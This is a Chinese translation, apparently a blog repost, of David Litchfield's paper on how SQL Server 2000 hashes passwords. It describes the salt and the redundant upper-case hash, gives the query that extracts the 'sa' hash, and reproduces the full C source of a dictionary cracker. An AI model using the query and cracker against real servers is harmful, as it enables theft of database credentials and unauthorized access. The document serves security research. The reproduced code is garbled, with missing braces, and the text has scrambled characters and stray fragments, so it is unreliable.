破解MSSQL的HASH密碼

破解MSSQL的HASH密碼

 
原文名稱 :Microsoft SQL Server Passwords (Cracking the password hashes) 
原文地址 :http://www.ngssoftware.com/papers/cracking-sql-passwords.pdf 
做者 :David Litchfield <david@ngssoftware.com> 
 
Term   : FreeXploiT  
 
Author : ALLyeSNO 
 
Date   : 2005-3-25 
翻譯:ALLyeSNO <shellget@hotmail.com> http://blog.csdn.net/freexploit 
參考文章:flashsky《淺談SQL SERVER數據庫口令的脆弱性》
 
 
SQL服務器是怎樣儲存密碼的? 
 
SQL服務器使用了一個沒有公開的函數pwdencrypt()對用戶密碼產生一個hash。經過研究咱們能夠發 
 
現這個hash儲存在mater數據庫的sysxlogins表裏面。這個可能已是衆所周知的事情了。 
 
pwdencrypt()函數尚未公佈詳細的資料,咱們這份文檔將詳細對這個函數進行討論,並將指出sql 
 
服務器儲存hash的這種方法的一些不足之處。實際上,等下我將會說‘密碼hashes’。(allyesno:後 
 
文會討論到,因爲時間的關係即便當密碼相同的時候生成的hash也並非惟一一個,因此是hashes) 
 
SQL的密碼hash看起來是怎樣的呢? 
 
咱們使用查詢分析器,或者任何一個SQL客戶端來執行這條語句: 
 
select password from master.dbo.sysxlogins where name='sa' 
 
屏幕會返回相似下面這行字符串的東東。 
  
0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF40
57056D9B  
 
這是我機子上登陸密碼的hash。 
  
經過分析hash咱們能夠從中獲取pwdencrypt()的一些什麼信息? 
 
1.時間 
 
首先咱們使用查詢 select pwdencrypt() 來生成hash 
 
select pwdencrypt('ph4nt0m')


生成hash 
 
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279B
A19EFE77 
 
ok再一次 select pwdencrypt('ph4nt0m') 
 
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3D
BB106CFB 
 
咱們注意到,雖然兩次咱們加密的字符串都是ph4nt0m可是生成的hash卻不同。 
 
那麼是什麼使兩次hash的結果不同呢,咱們大膽的推測是時間在這裏面起到了關鍵的做用, 
 
它是建立密碼hashes和儲存hashes的重要因素。之因此使用這樣的方式, 
 
是由於當兩我的輸入一樣的密碼時能夠以此產生不一樣的密碼hashes用來掩飾他們的密碼是相同的。 
 
2.大小寫(廣告時間:英漢網絡技術詞彙這本字典好,翻譯的時候不少金山詞霸找不到的東西,它 
 
都能弄出來) 
 
使用查詢 
 
select pwdencrypt('ALLYESNO') 
 
咱們將獲得hash 
 
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91 
 
經過觀察,咱們能夠發現這段hash中有兩段是相同的,若是你不能立刻看出來,讓咱們把它截斷來
看。 
 
0x0100(固定) 
4C61CD2D(補充key) 
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) 
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash) 
 
如今咱們能夠看出來最後兩組字符串是如出一轍的了。這說明這段密碼被相同的加密方式進行了兩 
 
次加密。一組是按照字符原型進行加密,另外一組是按照字符的大寫形式進行了加密。當有人嘗試破 
 
解SQL密碼的時候將會比他預期要容易,這是一個糟糕的加密方式。由於破解密碼的人不須要理會字 
 
符原型是大寫仍是小寫,他們只須要破解大寫字符就能夠了。這將大大減小了破解密碼者所須要破 
 
解密碼的字符數量。(allyesno:flashsky的文章《淺談SQL SERVER數據庫口令的脆弱性》中曾經算法


提到「如由於其算法同樣,若是HASH1=HASH2,就能夠判斷口令確定是未使用字母,只使用了數字和 
 
符號的口令」。實際上並不如flashsky所說的徹底相同,咱們使用了select pwdencrypt()進行加密 
 
之後就能夠發現使用了數字和符號和大寫字母的密碼其hash1和hash2都會相同,因此這是flashsky 
 
文章中一個小小的bug) 
 
  
補充key  
 
根據上文所述,當時間改變的時候也會使得hash改變,在hash中有一些跟時間有關係的信息使得密 
 
碼的hashes不相同,這些信息是很容易獲取的。當咱們登陸的時候依靠從登陸密碼中和數據庫中儲 
 
存的hash信息,就能夠作一個比較從而分析出這部分信息,咱們能夠把這部分信息叫作補充key。 
 
上文中咱們獲取的hash中,補充key 4C61CD2D 就是這個信息的一部分。 
 
這個key 4C61CD2D 由如下闡述的方法生成。 
 
time()C 函數被調用做爲一個種子傳遞給srand()函數。一旦srand()函數被做爲rand()函數的種子 
 
而且被調用生成僞隨機key,srand()就會設置了一個起點產生一系列的(僞)隨機key。而後sql 
 
服務器會將這個key截斷取一部分,放置在內存裏面。咱們叫它key1。這個過程將會再運行一次並 
 
生成另外一個key咱們叫他key2。兩個key連在一塊兒就生成了咱們用來加密密碼的補充key。 
 
密碼的散列法  
  
用戶的密碼會被轉換成UNICODE形式。補充key會添加到他們後面。例如如下所示: 
 
{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D} 
 
以上的字符串將會被sql服務器使用pwdencrypt()函數進行加密(這個函數位於advapi32.dll)。生 
 
成兩個hash 
 
0x0100(固定) 
4C61CD2D(補充key) 
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) 
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash) 
 
驗證過程 
 
用戶登陸SQL服務器的驗證過程是這樣子的:當用戶登錄的時候,SQL服務器在數據庫中調用上面例 
 sql

子中的補充key4C61CD2D,將其附加在字符串「ALLYESNO」的後面,而後使用pwdencrypt()函數進行加 
 
密。而後把生成的hash跟數據庫內的hash進行對比,以此來驗證用戶輸入的密碼是否正確。 
  
SQL服務器密碼破解 
 
咱們可使用一樣的方式去破解SQL的密碼。固然咱們會首先選擇使用大寫字母和符號作爲字典進行 
 
破解,這比猜想小寫字母要來得容易。 
 
一個命令行的MSSQL服務器HASH破解工具源代碼 shell


///////////////////////////////////////////////////////////////////////////////// 
// 
// SQLCrackCl 
// 
// This will perform a dictionary attack against the 
// upper-cased hash for a password. Once this 
// has been discovered try all case variant to work 
// out the case sensitive password. 
// 
// This code was written by David Litchfield to 
// demonstrate how Microsoft SQL Server 2000 
// passwords can be attacked. This can be 
//  optimized considerably by not using the CryptoAPI. 
// 
// (Compile with VC++ and link with advapi32.lib 
//  Ensure the Platform SDK has been installed, too!) 
// 
////////////////////////////////////////////////////////////////////////////////// 

#include <stdio.h> 
#include <windows.h> 
#include <wincrypt.h> 

FILE *fd=NULL; 
char *lerr = "\nLength Error!\n"; 

int wd=0; 
int OpenPasswordFile(char *pwdfile); 
int CrackPassword(char *hash); 

int main(int argc, char *argv[]) 

           int err = 0; 

           if(argc !=3) 
                     { 
                               printf("\n\n*** SQLCrack  *** \n\n"); 
                               printf("C:\>%s hash passwd-file\n\n",argv[0]); 
                               printf("David Litchfield (david@ngssoftware.com)\n"); 
                               printf("24th June 2002\n"); 
                               return 0; 
                     } 

           err = OpenPasswordFile(argv[2]); 
           if(err !=0) 
           { 
             return printf("\nThere was an error opening the password file %s\n",argv[2]); 
           } 
           err = CrackPassword(argv[1]); 

           fclose(fd); 
           printf("\n\n%d",wd); 

           return 0; 


int OpenPasswordFile(char *pwdfile) 

          fd = fopen(pwdfile,"r"); 
           if(fd) 
                     return 0; 
           else 
                     return 1; 


int CrackPassword(char *hash) 


           char phash[100]=""; 
           char pheader[8]=""; 
           char pkey[12]=""; 
           char pnorm[44]=""; 
           char pucase[44]=""; 
           char pucfirst[8]=""; 
           char wttf[44]=""; 
           char uwttf[100]=""; 
           char *wp=NULL; 
           char *ptr=NULL; 
           int cnt = 0; 
           int count = 0; 
           unsigned int key=0; 
           unsigned int t=0; 
           unsigned int address = 0; 
           unsigned char cmp=0; 
           unsigned char x=0; 
           HCRYPTPROV hProv=0; 
           HCRYPTHASH hHash; 
           DWORD hl=100; 
          unsigned char szhash[100]=""; 
           int len=0; 

           if(strlen(hash) !=94) 
                    { 
                              return printf("\nThe password hash is too short!\n"); 
                    } 

          if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) 
                    { 
                              hash = hash + 2; 
                              strncpy(pheader,hash,4); 
                              printf("\nHeader\t\t: %s",pheader); 
                              if(strlen(pheader)!=4) 
                                        return printf("%s",lerr); 

                              hash = hash + 4; 
                              strncpy(pkey,hash,8); 
                              printf("\nRand key\t: %s",pkey); 
                              if(strlen(pkey)!=8) 
                                        return printf("%s",lerr); 

                              hash = hash + 8; 
                              strncpy(pnorm,hash,40); 
                              printf("\nNormal\t\t: %s",pnorm); 
                              if(strlen(pnorm)!=40) 
                                        return printf("%s",lerr); 

                              hash = hash + 40; 
                              strncpy(pucase,hash,40); 
                              printf("\nUpper Case\t: %s",pucase); 
                              if(strlen(pucase)!=40) 
                                        return printf("%s",lerr); 

                              strncpy(pucfirst,pucase,2); 

                              sscanf(pucfirst,"%x",&cmp); 
                    } 
           else 
                    { 
                              return printf("The password hash has an invalid format!\n"); 
                    } 

           printf("\n\n        Trying...\n"); 

           if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                               ,0)) 
           { 
                    if(GetLastError()==NTE_BAD_KEYSET) 
                              { 
                                        // KeySet does not exist. So create a new keyset 
                                        if(!CryptAcquireContext(&hProv, 

                                                                     NULL, 
                                                                       NULL, 
                                                                       PROV_RSA_FULL, 
                                                                       CRYPT_NEWKEYSET )) 
                                                   { 
                                                             printf("FAILLLLLLL!!!"); 
                                                             return FALSE; 
                                                   } 

                              } 

           } 

           while(1) 
                    { 

                              // get a word to try from the file 
                              ZeroMemory(wttf,44); 

                              if(!fgets(wttf,40,fd)) 
                                 return printf("\nEnd of password file. Didn't find the password.\n"); 

                              wd++; 

                              len = strlen(wttf); 
                              wttf[len-1]=0x00; 

                              ZeroMemory(uwttf,84); 

                              // Convert the word to UNICODE 
                              while(count < len) 
                                         { 
                                                   uwttf[cnt]=wttf[count]; 
                                                   cnt++; 
                                                   uwttf[cnt]=0x00; 
                                                   count++; 
                                                   cnt++; 
                                         } 
                              len --; 

                              wp = &uwttf; 
                              sscanf(pkey,"%x",&key); 
                               cnt = cnt - 2; 

                              // Append the random stuff to the end of 
                              // the uppercase unicode password 
                              t = key >> 24; 
                              x = (unsigned char) t; 

                              uwttf[cnt]=x; 
                              cnt++; 

                              t = key << 8; 
                              t = t >> 24; 
                               x = (unsigned char) t; 
                               uwttf[cnt]=x; 
                               cnt++; 

                               t = key << 16; 
                               t = t >> 24; 
                               x = (unsigned char) t; 

                               uwttf[cnt]=x; 
                               cnt++; 

                               t = key << 24; 
                               t = t >> 24; 
                               x = (unsigned char) t; 
                               uwttf[cnt]=x; 
                               cnt++; 

                    // Create the hash 

                    if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) 
                               { 
                                         printf("Error %x during CryptCreatHash!\n", GetLastError()); 
                                         return 0; 
                               } 

                    if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) 
                               { 
                                         printf("Error %x during CryptHashData!\n", GetLastError()); 
                                         return FALSE; 
                               } 

                    CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); 

                    // Test the first byte only. Much quicker. 
                    if(szhash[0] == cmp) 
                               { 
                                         // If first byte matches try the rest 
                                         ptr = pucase; 
                                         cnt = 1; 
                                         while(cnt < 20) 
                                         { 
                                                   ptr = ptr + 2; 
                                                   strncpy(pucfirst,ptr,2); 
                                                   sscanf(pucfirst,"%x",&cmp); 
                                                   if(szhash[cnt]==cmp) 
                                                             cnt ++; 
                                                   else 
                                                   { 
                                                             break; 
                                                   } 
                                         } 
                                         if(cnt == 20) 
                                         { 

                                                   // We've found the password 
                                                   printf("\nA MATCH!!! Password is %s\n",wttf); 
                                                   return 0; 

                                        } 
                              } 

                              count = 0; 
                              cnt=0; 

                    } 

           return 0; 
}數據庫

相關文章
相關標籤/搜索